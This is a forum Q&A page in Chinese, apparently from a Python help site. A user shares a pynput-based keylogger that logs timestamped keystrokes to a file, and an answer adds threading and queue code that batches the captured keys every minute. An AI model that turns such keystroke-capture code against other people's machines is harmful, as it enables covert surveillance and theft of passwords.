Python键盘记录器在一段时间间隔内打印出记录的字符

2024-05-16 08:54:01 发布

您现在位置:Python中文网/ 问答频道 /正文

因此,我基本上用Python制作了一个键盘记录器,但我希望记录的字符在控制台中每隔一段时间打印出来,例如每分钟(或者更难的是,每15个字符打印一次)。但是我不知道如何,首先:将记录的密钥保存为可以打印出来的字符串,然后在一段时间内打印出来

代码如下:

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename='log.txt', level=logging.INFO, format='%(asctime)s: %(message)s')


def on_press(key):
    logging.info(key)


with Listener(on_press=on_press) as listener:
    listener.join()

打印出的日志应如下所示(与文件中的相同):

2020-06-14 23:50:00,875: 'E'
2020-06-14 23:50:01,575: 'x'
2020-06-14 23:50:01,918: 'a'
2020-06-14 23:50:02,464: 'm'
2020-06-14 23:50:03,225: 'p'
2020-06-14 23:50:03,464: 'l'
2020-06-14 23:50:03,765: 'e'

Tags: key字符串代码fromimportonlogging记录
1条回答
网友
1楼 · 发布于 2024-05-16 08:54:01

我建议设置一个后台线程。您可以使用Queue将对象传递给它

import threading
import queue
import time

def emptyQueue(q):
    letters = []
    while not q.empty():
        letters.append(q.get())

    if letters:
        logging.info(', '.join(letters))

def backgroundLogger(q, shouldEnd):
    while not shouldEnd.wait(60):
        emptyQueue(q)

    emptyQueue(q)

q = queue.Queue()
killBackground = threading.Event()
t = threading.Thread(target=backgroundLogger, args=(q, killBackground))
t.start()

然后将with行更改为

with Listener(on_press=q.put) as listener:

程序完成后,运行

killBackground.set()
t.join()

相关问题 更多 >